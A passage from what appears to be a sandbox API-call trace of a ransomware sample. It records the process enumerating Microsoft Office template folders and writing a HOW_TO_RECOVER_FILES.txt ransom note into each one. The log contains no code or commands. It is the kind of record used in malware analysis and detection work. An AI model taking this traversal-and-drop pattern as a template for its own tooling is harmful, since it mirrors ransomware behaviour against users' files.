| out: lpBuffer=0x3962af0*, lpNumberOfBytesWritten=0x20cedc98*=0x5d0, lpOverlapped=0x0) returned 1 [0263.762] CloseHandle (hObject=0x8a0) returned 1 [0263.763] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cedc60) returned 1 [0263.763] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\GettingStarted16", nBufferLength=0x105, lpBuffer=0x20ced700, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\GettingStarted16", lpFilePart=0x0) returned 0x46 [0263.763] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\GettingStarted16\\*", lpFindFileData=0x20ced980 | out: lpFindFileData=0x20ced980*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e332373, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e332373, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e332373, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134abc0 [0264.157] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e332373, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e332373, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e332373, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.184] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e332373, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e332373, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e332373, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0264.184] FindClose (in: hFindFile=0x134abc0 | out: hFindFile=0x134abc0) returned 1 [0264.184] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cedba0) returned 1 [0264.184] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cedb60) returned 1 [0264.184] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cedc60) returned 1 [0264.184] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\GettingStarted16", nBufferLength=0x105, lpBuffer=0x20ced700, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\GettingStarted16", lpFilePart=0x0) returned 0x46 [0264.184] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\GettingStarted16\\*", lpFindFileData=0x20ced980 | out: lpFindFileData=0x20ced980*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e332373, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e332373, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e332373, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ae60 [0264.184] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e332373, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e332373, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e332373, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.185] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e332373, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e332373, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e332373, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0264.185] FindClose (in: hFindFile=0x134ae60 | out: hFindFile=0x134ae60) returned 1 [0264.185] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cedba0) returned 1 [0264.185] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cedb60) returned 1 [0264.185] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\GettingStarted16\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x20ced6b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\GettingStarted16\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x5f [0264.185] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cedbd0) returned 1 [0264.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\GettingStarted16\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\gettingstarted16\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x89c [0264.187] GetFileType (hFile=0x89c) returned 0x1 [0264.187] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cedb40) returned 1 [0264.187] GetFileType (hFile=0x89c) returned 0x1 [0264.188] WriteFile (in: hFile=0x89c, lpBuffer=0x3aaef08*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x20cedc98, lpOverlapped=0x0 | out: lpBuffer=0x3aaef08*, lpNumberOfBytesWritten=0x20cedc98*=0x5d0, lpOverlapped=0x0) returned 1 [0264.188] CloseHandle (hObject=0x89c) returned 1 [0264.188] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cedc60) returned 1 [0264.188] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE", nBufferLength=0x105, lpBuffer=0x20ced700, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE", lpFilePart=0x0) returned 0x3d [0264.189] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\*", lpFindFileData=0x20ced980 | out: lpFindFileData=0x20ced980*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb760eed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb760eed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134abc0 [0264.192] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb760eed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb760eed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.192] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb760eed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb760eed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16", cAlternateFileName="")) returned 1 [0264.192] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb760eed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb760eed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16", cAlternateFileName="")) returned 0 [0264.192] FindClose (in: hFindFile=0x134abc0 | out: hFindFile=0x134abc0) returned 1 [0264.192] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cedba0) returned 1 [0264.192] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cedb60) returned 1 [0264.192] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cedc60) returned 1 [0264.192] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE", nBufferLength=0x105, lpBuffer=0x20ced700, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE", lpFilePart=0x0) returned 0x3d [0264.193] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\*", lpFindFileData=0x20ced980 | out: lpFindFileData=0x20ced980*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb760eed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb760eed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ab00 [0264.193] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb760eed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb760eed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.193] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb760eed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb760eed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16", cAlternateFileName="")) returned 1 [0264.193] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0264.193] FindClose (in: hFindFile=0x134ab00 | out: hFindFile=0x134ab00) returned 1 [0264.193] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cedba0) returned 1 [0264.193] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cedb60) returned 1 [0264.193] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced230) returned 1 [0264.193] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16", nBufferLength=0x105, lpBuffer=0x20ceccd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16", lpFilePart=0x0) returned 0x40 [0264.194] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\*", lpFindFileData=0x20cecf50 | out: lpFindFileData=0x20cecf50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb760eed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb760eed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aec0 [0264.194] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x20cecf10 | out: lpFindFileData=0x20cecf10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb760eed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb760eed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.194] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x20cecf10 | out: lpFindFileData=0x20cecf10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb760eed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb760eed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notebook Templates", cAlternateFileName="NOTEBO~1")) returned 1 [0264.194] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x20cecf10 | out: lpFindFileData=0x20cecf10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb7ad38b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0264.194] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x20cecf10 | out: lpFindFileData=0x20cecf10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb7ad38b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 0 [0264.195] FindClose (in: hFindFile=0x134aec0 | out: hFindFile=0x134aec0) returned 1 [0264.195] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced170) returned 1 [0264.195] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced130) returned 1 [0264.195] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced230) returned 1 [0264.195] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16", nBufferLength=0x105, lpBuffer=0x20ceccd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16", lpFilePart=0x0) returned 0x40 [0264.195] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\*", lpFindFileData=0x20cecf50 | out: lpFindFileData=0x20cecf50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb760eed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb760eed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a860 [0264.195] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x20cecf10 | out: lpFindFileData=0x20cecf10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb760eed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb760eed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.195] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x20cecf10 | out: lpFindFileData=0x20cecf10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb760eed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb760eed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notebook Templates", cAlternateFileName="NOTEBO~1")) returned 1 [0264.195] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x20cecf10 | out: lpFindFileData=0x20cecf10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb7ad38b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0264.195] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x20cecf10 | out: lpFindFileData=0x20cecf10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0264.196] FindClose (in: hFindFile=0x134a860 | out: hFindFile=0x134a860) returned 1 [0264.196] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced170) returned 1 [0264.196] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced130) returned 1 [0264.196] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec800) returned 1 [0264.196] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Notebook Templates", nBufferLength=0x105, lpBuffer=0x20cec2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Notebook Templates", lpFilePart=0x0) returned 0x53 [0264.196] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Notebook Templates\\*", lpFindFileData=0x20cec520 | out: lpFindFileData=0x20cec520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb760eed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb760eed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a980 [0264.197] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x20cec4e0 | out: lpFindFileData=0x20cec4e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb760eed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb760eed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.197] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x20cec4e0 | out: lpFindFileData=0x20cec4e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb760eed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb760eed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x490b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notebook03.onepkg", cAlternateFileName="NOTEBO~1.ONE")) returned 1 [0264.197] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x20cec4e0 | out: lpFindFileData=0x20cec4e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0264.197] FindClose (in: hFindFile=0x134a980 | out: hFindFile=0x134a980) returned 1 [0264.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec740) returned 1 [0264.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec700) returned 1 [0264.197] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec800) returned 1 [0264.197] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Notebook Templates", nBufferLength=0x105, lpBuffer=0x20cec2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Notebook Templates", lpFilePart=0x0) returned 0x53 [0264.197] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Notebook Templates\\*", lpFindFileData=0x20cec520 | out: lpFindFileData=0x20cec520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb760eed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb760eed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a800 [0264.198] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x20cec4e0 | out: lpFindFileData=0x20cec4e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb760eed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb760eed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.198] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x20cec4e0 | out: lpFindFileData=0x20cec4e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb760eed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb760eed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x490b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notebook03.onepkg", cAlternateFileName="NOTEBO~1.ONE")) returned 1 [0264.198] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x20cec4e0 | out: lpFindFileData=0x20cec4e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb760eed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb760eed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x490b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notebook03.onepkg", cAlternateFileName="NOTEBO~1.ONE")) returned 0 [0264.198] FindClose (in: hFindFile=0x134a800 | out: hFindFile=0x134a800) returned 1 [0264.198] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec740) returned 1 [0264.198] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec700) returned 1 [0264.198] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Notebook Templates\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x20cec250, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Notebook Templates\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6c [0264.198] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec770) returned 1 [0264.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Notebook Templates\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\onenote\\16\\notebook templates\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x89c [0264.201] GetFileType (hFile=0x89c) returned 0x1 [0264.201] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec6e0) returned 1 [0264.201] GetFileType (hFile=0x89c) returned 0x1 [0264.201] WriteFile (in: hFile=0x89c, lpBuffer=0x3add168*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x20cec838, lpOverlapped=0x0 | out: lpBuffer=0x3add168*, lpNumberOfBytesWritten=0x20cec838*=0x5d0, lpOverlapped=0x0) returned 1 [0264.202] CloseHandle (hObject=0x89c) returned 1 [0264.202] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec800) returned 1 [0264.202] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery", nBufferLength=0x105, lpBuffer=0x20cec2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery", lpFilePart=0x0) returned 0x4b [0264.202] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft 